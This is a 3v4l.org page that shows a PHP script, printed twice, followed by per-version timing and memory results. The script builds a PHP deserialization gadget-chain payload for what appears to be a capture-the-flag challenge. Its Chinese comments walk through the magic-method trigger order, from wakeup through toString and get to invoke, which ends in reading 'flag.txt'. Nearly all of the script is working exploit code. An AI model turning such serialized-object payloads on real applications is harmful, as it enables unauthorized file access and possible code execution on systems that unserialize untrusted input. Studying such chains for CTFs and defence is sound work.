3v4l.org

run code in 500+ PHP versions simultaneously
<?php class RitualEngine { public $target; public $callback; } class Keystone { public $center; } class GateSentinel { public $object; public $tool; } // 5. 最终执行读取的机关 (内层) $innerEngine = new RitualEngine(); $innerEngine->target = 'flag.txt'; // 目标文件 // 4. 触发 invoke 的机关 (外层) $outerEngine = new RitualEngine(); // 构造 [对象, 方法] 数组并反序列化,满足 $map['view'] => 'run' $outerEngine->callback = serialize([$innerEngine, 'view']); // 3. 触发 get 并调用 invoke 的基石 $keystone = new Keystone(); $keystone->center = $outerEngine; // 2. 触发 toString 并访问不存在属性的守卫 (内层) $innerSentinel = new GateSentinel(); $innerSentinel->tool = ['blade' => $keystone]; // 1. 触发 wakeup 并引发类型转换的守卫 (外层入口) $outerSentinel = new GateSentinel(); $outerSentinel->object = $innerSentinel; // 输出最终的 payload echo serialize($outerSentinel); ?><?php class RitualEngine { public $target; public $callback; } class Keystone { public $center; } class GateSentinel { public $object; public $tool; } // 5. 最终执行读取的机关 (内层) $innerEngine = new RitualEngine(); $innerEngine->target = 'flag.txt'; // 目标文件 // 4. 触发 invoke 的机关 (外层) $outerEngine = new RitualEngine(); // 构造 [对象, 方法] 数组并反序列化,满足 $map['view'] => 'run' $outerEngine->callback = serialize([$innerEngine, 'view']); // 3. 触发 get 并调用 invoke 的基石 $keystone = new Keystone(); $keystone->center = $outerEngine; // 2. 触发 toString 并访问不存在属性的守卫 (内层) $innerSentinel = new GateSentinel(); $innerSentinel->tool = ['blade' => $keystone]; // 1. 触发 wakeup 并引发类型转换的守卫 (外层入口) $outerSentinel = new GateSentinel(); $outerSentinel->object = $innerSentinel; // 输出最终的 payload echo serialize($outerSentinel); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.5.60.0100.00716.96
8.5.50.0130.00516.82
8.5.30.0350.00616.73
8.5.20.0330.00616.73
8.5.10.0360.00416.73
8.5.00.0120.00616.89
8.4.210.0150.00619.61
8.4.180.0310.01119.70
8.4.170.0310.01019.78
8.4.160.0400.00819.48
8.4.150.0310.00719.75
8.4.140.0260.00617.77
8.4.130.0250.01017.82
8.4.120.0290.00817.97
8.4.110.0360.00917.83
8.4.100.0400.00717.84
8.4.90.0400.00717.83
8.4.80.0280.00918.15
8.4.70.0190.00518.04
8.4.60.0210.00917.83
8.4.50.0380.00718.03
8.4.40.0380.00817.85
8.4.30.0410.00717.61
8.4.20.0460.00517.59
8.4.10.0370.00917.83
8.3.300.0310.00918.37
8.3.290.0360.01118.39
8.3.280.0330.00818.42
8.3.270.0310.01116.75
8.3.260.0300.01116.93
8.3.250.0330.00816.73
8.3.240.0310.01116.92
8.3.230.0340.00916.77
8.3.220.0290.00516.80
8.3.210.0150.00516.82
8.3.200.0140.00516.85
8.3.190.0140.00616.73
8.3.180.0300.00716.86
8.3.170.0380.01016.87
8.3.160.0360.00716.82
8.3.150.0350.01216.82
8.3.140.0380.00616.73
8.3.130.0150.00416.79
8.3.120.0130.00516.84
8.3.110.0140.00516.73
8.3.100.0290.00716.80
8.3.90.0360.01116.73
8.3.80.0390.01016.80
8.3.70.0340.01116.73
8.3.60.0320.00816.80
8.3.50.0370.00817.05
8.3.40.0340.01018.15
8.3.30.0310.00717.67
8.3.20.0290.00617.89
8.3.10.0210.00817.73
8.3.00.0160.00418.00

preferences:
54.92 ms | 736 KiB | 5 Q